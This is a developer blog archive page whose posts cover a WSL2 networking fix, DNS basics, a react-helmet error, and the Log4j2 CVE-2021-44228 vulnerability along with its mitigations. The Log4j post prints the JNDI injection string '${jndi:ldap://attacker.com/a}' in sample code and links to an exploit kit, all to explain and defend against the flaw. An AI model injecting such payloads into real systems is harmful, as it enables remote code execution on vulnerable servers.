Showing posts with label General. Show all posts
Showing posts with label General. Show all posts

Friday, October 21, 2022

No internet Connection from WSL2

I was facing an issue while connecting to the internet from WSL2 on a Windows 10 machine; the ping and telnet were both not working.

Followed the below steps to resolve the problem

Execute the ipconfig command in PowerShell



Execute the below command on WSL2

sudo ifconfig eth0 172.20.100.5 netmask 255.255.240.0

sudo route add default gw 172.20.100.1


172.20.100.1 - default gw address

172.20.100.5 - Select an IP address within the same range

255.255.240.0 - netmask


Execute the below command on PowerShell

wsl --shutdown

Now open the WSL terminal. You should be able to connect to the internet.

Monday, October 3, 2022

DNS Management Basics for Web Developers

 Most of the time, web developers struggle to understand the basics of DNS management, leading to confusion in their day-to-day operations. In this post, I want to discuss the DNS management basics that help Web Developers understand the DNS management process and help them in their daily operations. The screenshots and some of the steps captured here are based on the Cloudflare DNS manager.

What is DNS?

DNS stands for Domain Name System. The domain name system (DNS) is a naming database in which internet domain names are located and translated into Internet Protocol (IP) addresses. The domain name system maps the name people use to find a website to the IP address that a computer uses to locate that website.

For example, the DNS translates a web address like “www.albinsblog.com" into the physical IP address — such as”10.20.100.20" — of the computer hosting that site (in this case, www.albinsblog.com home page).

There are multiple Domain types( e.g., Generic Top-Level Domains (gTLD), Country Code Top-Level Domains (ccTLD) — not going to explain here), but as a web developer, we should be aware of the root/naked domain and the subdomains. When you register a domain name, you register what is known as the root domain, also called the naked domain, e.g., albinsblog.com is a root domain, you can register multiple subdomains under the root domain, e.g., www.albinsblog.com — here www is the subdomain on albinsblog.com root domain.

Domain Registrar:

A domain registrar is a business that sells domain names and handles the business of registering them, e.g., GoDaddy, Google, etc. All domain name registrars are accredited by ICANN (Internet Corporation for Assigned Names and Numbers), a non-profit organization responsible for managing domain names.

The domain registrar promptly updates and populates WHOIS(WHOIS is a database of information that allows users to look up domain and IP owner information and check out dozens of other statistics about the domain name) data to ensure the accuracy of the data.

DNS management:

DNS management is administering and managing the Domain Name System (DNS) for a particular domain or set of domains. It can include creating and editing DNS records, managing DNS zones, adding or deleting nameservers, and more.

What are Nameservers?

A nameserver is a server in the DNS management that translates domain names into IP addresses. Nameservers store and organize DNS records, each of which pairs a domain with one or more IP addresses.

Most Domain registrars will provide the default nameservers when registering a domain name. However, you can also use custom nameservers to manage the DNS records. Custom nameservers give you more control over your DNS settings and can be used to improve performance or security.

To use custom nameservers, you will need to set the “nameservers” for your domain to the DNS servers you want to use via your domain registrar’s control panel. Either use the registrar’s default name servers to manage the DNS records or point to custom nameservers through the registrar control panel so that the DNS records can be managed externally.

The DNS manager point to the default names servers, e.g., Cloudflare points to the default Cloudflare Nameservers; if required, the domain can point to the custom Nameservers.

While pointing the existing DNS to a custom nameserver, the current DNS records can be exported as a Zone file, and the same can be imported to the custom name server.

A zone file is a primary location where all the DNS records are stored for the domain. Whenever someone performs a DNS query, the servers pull information from zone files to answer it.

The exported Zone file is a simple text file with all the configured DNS record details

example.com.txt

;;
;; Domain: example.com.
;; Exported: 2022-09-28 23:47:34
;;
;; This file is intended for use for informational and archival
;; purposes ONLY and MUST be edited before use on a production
;; DNS server. In particular, you must:
;; -- update the SOA record with the correct authoritative name server
;; -- update the SOA record with the contact e-mail address information
;; -- update the NS record(s) with the authoritative name servers for this domain.
;;
;; For further information, please consult the BIND documentation
;; located on the following website:
;;
;; http://www.isc.org/
;;
;; And RFC 1035:
;;
;; http://www.ietf.org/rfc/rfc1035.txt
;;
;; Please note that we do NOT offer technical support for any use
;; of this zone data, the BIND name server, or any other third-party
;; DNS software.
;;
;; Use at your own risk.
;; SOA Record
example.com 3600 IN SOA example.com root.example.com xxxxxxx xxxx xxxx xxxxx xxxx
;; A Records
example.com. 1 IN A 10.20.100.20
;; CNAME Records
www.example.com. 1 IN CNAME test.cdn.com.
;; MX Records
example.com. 3600 IN MX 5 gmr-smtp-in.l.google.com.
;; TXT Records
example.com. 1 IN TXT "v=spf1 include:_spf.google.com ~all"
www.example.com. 1 IN TXT "yandex-verification: xxxxxxxxxxxxx"

DNS Records:

DNS records are instructions created and stored in a Zone File on DNS servers. These records provide essential and relevant details about domains and hostnames. These records also contain various commands on how DNS servers must handle DNS requests.

The DNS Manager provides the portal to manage the DNS records for a Domain.

DNS Record Types commonly used:

A-Record — Most commonly used to map a fully qualified domain name (FQDN) to an IPv4 address and acts as a translator by converting domain names(e.g., www.albinsblog.com) to IP addresses(e.g., 10.20.100.20).

The mapping can be enabled for the root domain (e.g., albinsblog.com — referred to as @) or different subdomains(e.g., www.albinsblog.com, test.albinsblog.com)

AAAA — AAAA records resolve a domain name corresponding to an IPv6 address.

CNAME — CNAME records can be used to alias one name to another. CNAME stands for Canonical Name.

For example, albinsblog.com and www.albinsblog.com point to the same application and are hosted by the same server. To avoid maintaining two different A-Records records, it’s common to create:

  • An A record for albinsblog.com pointing to the server IP address
  • CNAME record for www.albinsblog.com pointing to albinsblog.com

Another case is; if the subdomain needs to point to a server that is enabled with dynamic IPs or multiple IPs, e.g., CDNs; in this case, it makes sense to enable a CNAME record pointing to a domain that intern points to the required IPs.

A CNAME record cannot co-exist with another record for the same name. It’s impossible to have a CNAME and TXT record for www.albinsblog.com.

The default behavior is the Top/Root domains, e.g., albinsblog.com can’t be pointed to the CNAME record but only to A-record.

While you are hosting a website through an external CDN that requires CNAME pointing — the main website will be hosted on a subdomain, e.g., www.albinsblog.com(www CNAME pointing to the CDN Domain), and the Top Domain should point to a server/service through A-Record (IP Address). The server/service can redirect the top domain to the subdomain(albinsblog.com to www.albinsblog.com); most of the time, the DNS manager provides the Forwarding service to redirect the root or specific subdomain to a specific target URL.

The recent concept — of CNAME flattening is supported by some of the DNS managers, e.g., Cloudflare allows us to enable the CNAME record for top/root domains.

Also, another nonstandard record type, ANAME(also called ALIAS, Virtual record type), supported by some of the DNS providers, e.g., GoDaddy, Google Domain, etc., provides CNAME-like behavior for apex (root) domains — point to the root domain to a DNS.

TXT Record- TXT records are a type of DNS record containing text information for sources outside your domain. The TXT records can be used for various purposes, e.g., Verify domain ownership for SSL cert Generation, Verify domain ownership for Google Analytics, Verify domain ownership for SEO tools, etc.

The SPF(Sender Policy Framework) records are a type of DNS TXT record commonly used for email authentication. SPF records include a list of IP addresses and domains authorized to send emails from that domain.

SOA — The DNS ‘start of authority (SOA) record stores essential information about a domain or zone, such as the administrator’s email address, when the domain was last updated, and how long the server should wait between refreshes. All DNS zones need an SOA record to conform to IETF standards. The DNS manager, by default, enables the SOA record for the domain.

MX — A DNS ‘mail exchange’ (MX) record directs email to a mail server. The MX record indicates how the Simple Mail Transfer Protocol should route email messages. Like CNAME records, an MX record must always point to another domain. You can define multiple MX records for a Domain; the priority number indicates the preference.

DNS Propagation:

DNS propagation is the time period in which it takes updates to DNS records to be in full effect across all servers on the web. Changes aren’t instantaneous because nameservers store domain record information in their cache for a certain amount of time before they refresh.

Typically DNS propagates within a few hours, though it can take as long as 72. The timeframe for propagation depends on several factors, including your internet service provider (ISP), your domain’s registry, and the TTL(Time to Live) values of your DNS records.

High TTL values are typically used for records that rarely change, such as MX or TXT. A high TTL provides faster responses for more static resources by storing the information locally before retrieving it again.

The Records that need frequent updates require a low TTL value. Low TTLs are recommended for critical records and are changed frequently. A good range would range from 30 to 300 seconds (5 minutes).

While modifying the critical DNS records, proper planning may require to avoid the downtimes for the end users — if the record is already enabled with high TTL better to change the TTL to a low value as a first step ahead of actual change; some users will still be served a cached version of your site until all servers have propagated.

You can use any DNS checker tool, e.g., DNS Checker — DNS Check Propagation Tool, DNS Checker — DNS Check Propagation Tool, to verify the DNS propagation status across different locations.

DNS Transfer to New Registrar:

Sometimes we may need to transfer our domains to a different registrar; domain transfer is switching your domain name from one registrar to another. To be eligible for a transfer, you must have been with your current registrar for at least 60 days since ICANN enforces a 60-day Change of Registrant lock.

Once you finalize the transfer, the domain should be unlocked from the current registrar to initiate the transfer — the DNS manager supports this configuration through the portal; generate the transfer AUTH token from the current registrar. The new registrar can initiate the transfer through the AUTH token.

Google Domains

The DNS records from the existing registrar will be migrated to the new registrar; may need to pay special attention if the Domain is using the default name server enabled by the current registrar — the names server pointing should be changed to a new registrar default names servers post transfer. Additionally, ensure the new registrar supports the special services(e.g., domain forwarding) supported by the current registrar.

DNS Security:

Enabling the required DNS security helps to protect the DNS from security attacks, e.g., DNS spoofing/Cache Poisoning, DNS Hijacking

DNS Over HTTPS(TLS) — DNS queries are sent in plaintext, which means anyone can read them. DNS over HTTPS and DNS over TLS encrypts DNS queries and responses to keep user browsing secure and private. For more details, refer to DNS over TLS vs. DNS over HTTPS | Secure DNS | Cloudflare DNS over TLS vs. DNS over HTTPS | Secure DNS | Cloudflare for more information.

DNSSEC — The DNS system is not initially built considering the security; DNSSEC strengthens authentication in DNS using digital signatures based on public key cryptography. With DNSSEC, it’s not DNS queries and responses that are cryptographically signed; instead, the data owner signs DNS data itself. This is critical to protect the important domains through DNSSEC to avoid security attacks. Refer to How DNSSEC Works | Cloudflare for more details on DNSSEC.

Domain Lock — As discussed earlier. domain lock will prevent any unauthorized transfers from occurring

Tools:

Some of the tools that will help us while working with DNS

WHOIS Lookup — gives you the ability to look up the current registrar details, name servers, etc. for domain names; e.g., WHOIS | Lookup Domain Name Availability — GoDaddy

DNS checker tools, e.g., DNS Checker — DNS Check Propagation Tool, to verify the DNS propagation status across different locations.

nslookup/dig — command-line tools for querying the Domain Name System (DNS) to obtain the mapping between a domain name and IP address or other DNS records.

e.g.

nslookup example.com
nslookup -q=CNAME www.example.com
nslookup -type=MX example.com
dig example.com
dig example.com MX

Online DNS Lookup — you can use the online DNS lookup tools, e.g., DNS Lookup — Check DNS Records (dnschecker.org), to view the DNS records for a specific domain.

Wednesday, May 18, 2022

Uncaught TypeError: Cannot read properties of undefined (reading 'add') - React Helmet

 I was getting the below error while using the react-helmet to dynamically change the head section - meta tags, title etc, also the pages were not loading.

scheduler.development.js:171 Uncaught TypeError: Cannot read properties of undefined (reading 'add')

    at e.r.init (Dispatcher.js:53:1)

    at e.r.render (Dispatcher.js:67:1)

    at finishClassComponent (react-dom.development.js:17485:1)

    at updateClassComponent (react-dom.development.js:17435:1)

    at beginWork (react-dom.development.js:19073:1)

    at HTMLUnknownElement.callCallback (react-dom.development.js:3945:1)

    at Object.invokeGuardedCallbackDev (react-dom.development.js:3994:1)

    at invokeGuardedCallback (react-dom.development.js:4056:1)

    at beginWork$1 (react-dom.development.js:23964:1)

    at performUnitOfWork (react-dom.development.js:22776:1)

    at workLoopSync (react-dom.development.js:22707:1)

    at renderRootSync (react-dom.development.js:22670:1)

    at performSyncWorkOnRoot (react-dom.development.js:22293:1)

    at react-dom.development.js:11327:1

    at unstable_runWithPriority (scheduler.development.js:468:1)

    at runWithPriority$1 (react-dom.development.js:11276:1)

    at flushSyncCallbackQueueImpl (react-dom.development.js:11322:1)

    at workLoop (scheduler.development.js:417:1)

    at flushWork (scheduler.development.js:390:1)

    at MessagePort.performWorkUntilDeadline (scheduler.development.js:157:1)


To fix the issue

Replaced react-helmet with  react-helmet-async

npm install react-helmet-async or yarn add react-helmet-async

Wrap the App element with HelmetProvider

import { HelmetProvider } from 'react-helmet-async';

ReactDOM.render(

  <React.StrictMode>

  <HelmetProvider>

    <App />

 </HelmetProvider>

  </React.StrictMode>,

  document.getElementById('root')

);

Now the helmet can be used in individual components to change the dynamic header elements

import { Helmet } from 'react-helmet';

import {  Test   } from './components';

const Test = () => {

  return (

<React.Fragment>

<Helmet>

<title>Test</title>

<meta name="description" content="Test Description" />

<meta property="og:title" content="Test"/>

<meta property="og:description" content="Test" />

  </Helmet>

  <Introduction />

  <Details />

  <BackToTop />

</React.Fragment>

  );

};

export default Test;

After this, I saw the behavior, non of the existing meta tags defined in index.html apart from the title, replaced with the new values. To fix that, I added data-rh="true" to the metatags in index.html that require the change.

<meta property="og:title" content="default value" data-rh="true" />

Somehow data-react-helmet=" true"  property was not working.

Happy Coding!!!

Sunday, December 12, 2021

Apache Log4j2 Security Vulnerabilities(CVE-2021-44228) - Details | Apache Log4j2 Remote Code Execution through JNDI endpoins

A recently(09-Dec-2021) discovered a vulnerability in Log4j 2 is reportedly being exploited in the wild, putting widely used applications and cloud services at risk. Log4j2 is an open-source Java logging framework managed by Apache Software Foundation.

CVE-2021-44228: Apache Log4j2 JNDI features do not protect against attacker-controlled LDAP and other JNDI-related endpoints.

The vulnerability CVE-2021-44228 allows remote code execution against LDAP and other JNDI-related endpoints - ${jndi:protocol://server}, e.g. ${jndi:ldap://attacker.com/a}. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.



While logging a message with the JNDI endpoint, the JNDI feature of the Log4j2 module tries to establish the connection to the JNDI URL specified in the log message, through this the attacker can make the system connect to the remote system and inject malicious code for execution(if the request/header from the end-user is directly logged through log4j2 logger).

Refer to https://logging.apache.org/log4j/2.x/security.html for more details on the issue.

All versions from all from 2.0-beta9 to 2.14.1 are impacted.

The issue is now addressed in version 2.15.0 - the JNDI feature is disabled by default, upgrade the dependency version to 2.15.0 for addressing the issue in your project. Also, Apache documented quick steps to mitigate the issue immediately without updating the dependency version on the above URL.

The project using any of the two approaches will be impacted -  If the below versions are enabled then the below code displays JNDI lookup exception

Option1: SLF4J Bridge for Log4j2

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-slf4j-impl</artifactId>

<version>2.14.1</version>

</dependency> 

Option2: Log4j2 direct dependencies

 <dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-api</artifactId>

    <version>2.14.1</version>

</dependency>

<dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-core</artifactId>

    <version>2.14.1</version>

</dependency> 

Sample CodeLog4j2 direct dependencies

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

public class Sample{

private static final Logger log = LogManager.getLogger(Sample.class);

public static void main(String[] args) {  

String header ="${jndi:ldap://attacker.com/a}";  

log.info("test");  

log.info("test: "+log.getClass()+header);

}

}

Sample Code - SLF4J Wrapper

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;

public class Sample{

private static final Logger log = LoggerFactory.getLogger(Sample.class);

public static void main(String[] args) {  

String header ="${jndi:ldap://attacker.com/a}";  

log.info("test");  

log.info(header);

}

}

Error Message: The below error message will be displayed while logging a message with JNDI endpoint, the JNDI feature trying to establish the connection to the JNDI URL specified in the log message, through this the attacker can make the system to connect to the remote system and inject malicious code for execution(if the request/header from the end user is directly logged through log4j logger).The LDAP systems enables the support to store the java class files, the attacker can store a malicious java file into his LDAP system and send the URL through request parameters or headers that will be logged directly through log4j2 impacted versions will give the system control to the attacker.(the attacker can use proxy LDAP server to send remote class with malicious code, refer to https://github.com/pimps/JNDI-Exploit-Kit for more details)



[INFO ] 2021-12-12 00:38:36.158 [main] Sample - test

2021-12-12 00:38:38,267 main WARN Error looking up JNDI resource [ldap://attacker.com/a]. javax.naming.CommunicationException: attacker.com:389 [Root exception is java.net.ConnectException: Connection refused: connect]

at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:244)

at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)

at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616)

at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2847)

at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)

at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)

at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)

at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)

at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)

at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)

at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)

at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:223)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)

at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)

at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)

at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)

at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)

at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)

at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)

at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)

at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)

at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)

at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)

at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)

at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)

at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)

at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)

at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)

at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)

at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)

at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)

at org.apache.logging.log4j.core.Logger.log(Logger.java:161)

at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)

at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)

at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)

at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)

at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)

at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)

at com.core.oauth.provider.azureadb2c.Sample.main(Sample.java:17)

Caused by: java.net.ConnectException: Connection refused: connect

at java.base/java.net.PlainSocketImpl.connect0(Native Method)

at java.base/java.net.PlainSocketImpl.socketConnect(PlainSocketImpl.java:101)

at java.base/java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:399)

at java.base/java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:242)

at java.base/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:224)

at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:403)

at java.base/java.net.Socket.connect(Socket.java:608)

at java.base/java.net.Socket.connect(Socket.java:557)

at java.base/java.net.Socket.<init>(Socket.java:453)

at java.base/java.net.Socket.<init>(Socket.java:230)

at java.naming/com.sun.jndi.ldap.Connection.createSocket(Connection.java:337)

at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:223)

... 42 more

In the real scenario, remote class from the attacker server will be executed that will provide system control to the attacker.

The issue can be addressed in multiple ways but the best-recommended approach is by changing the dependency version to the latest 2.15.0

  • WAF (Web Application Filter)— Block the malicious request by enabling required rules
  • Disable Log4j2 and use different logger implementation — this should be easy if the SLF4J library is used, refer to https://www.albinsblog.com/2021/12/how-to-identify-which-logging-library-slf4j-using-for-logging.html for more details
  • Disable JNDI Lookups — add -Dlog4j2.formatMsgNoLookups=true to JVM parameter
  • (java -Dlog4j2.formatMsgNoLookups=true …) or Set Environment Variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • , refer to https://logging.apache.org/log4j/2.x/security.html for more details
  • Remove the JndiLookup class from the class path — refer to https://logging.apache.org/log4j/2.x/security.html for more details
  • In JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1, com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP, this will block the LDAP remote code execution vector. Ensure com.sun.jndi.ldap.object.trustURLCodebase java system property is not set to true.
  • Java Serialization Filtering — Whitelist only the known classes for deserialization, refer to https://medium.com/tech-learnings/serialization-filtering-deserialization-vulnerability-protection-in-java-349c37f6f416 for more details

In long run, we should validate/sanitize the user inputs(request parameters/headers, etc.) before performing any activities e.g. logging on the user inputs, this will help us to prevent malicious code injection.

Update Log4j2 to latest library version(2.15.0)

Option1: SLF4J Bridge for Log4j2

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-slf4j-impl</artifactId>

<version>2.15.0</version>

</dependency> 

Option2: Log4j2 direct dependencies

 <dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-api</artifactId>

    <version>2.15.1</version>

</dependency>

<dependency>

    <groupId>org.apache.logging.log4j</groupId>

    <artifactId>log4j-core</artifactId>

    <version>2.15.1</version>

</dependency>

The actual message is displayed after upgrading the dependency versions - no JNDI lookup performed on the JND endpoint

[INFO ] 2021-12-12 01:07:09.227 [main] Sample - test

[INFO ] 2021-12-12 01:07:09.230 [main] Sample - ${jndi:ldap://attacker.com/a}

The impact of the issue is based on how the project manages the log messages for the request parameters/headers received from the end-users - the impact is less if the message is filtered in any of the layers.

[Update 1]: 

The New log4j2 version is released(2.16.0) now, the fix applied on 2.15.0 was not complete to address all the issue scenarios, upgrade to the latest version(2.16.0) to address the issue completely. Refer https://logging.apache.org/log4j/2.x/security.html for more details(CVE-2021–45046)

[Update 2]:

The New log4j2 version is released(2.17.0) now, the fix applied on 2.16.0 was not complete and open for DOS(Denial of Service) attack. Refer https://logging.apache.org/log4j/2.x/security.html for more details(CVE-2021–45105]:

Impact on Adobe Experience Manager(AEM)

 Based on the analysis AEM OOTB includes log4j v1.2.17 and as CVE-2021-44228 impacting Apache Log4j 2( versions 2.0 to 2.14.1) looks to be no immediate impact, this is my personal view but need to wait for the confirmation from Adobe(please check with Adobe for any impact on AEM with this issue). But you should address if any of your custom projects on AEM embed the impacted maven dependency versions.

[Update]

Based on the further update from Adobe, the AEM core product is not impacted by the log4j2 JNDI lookup security issue but the custom code should be reviewed to ensure the impacted log4j2 version is not embedded.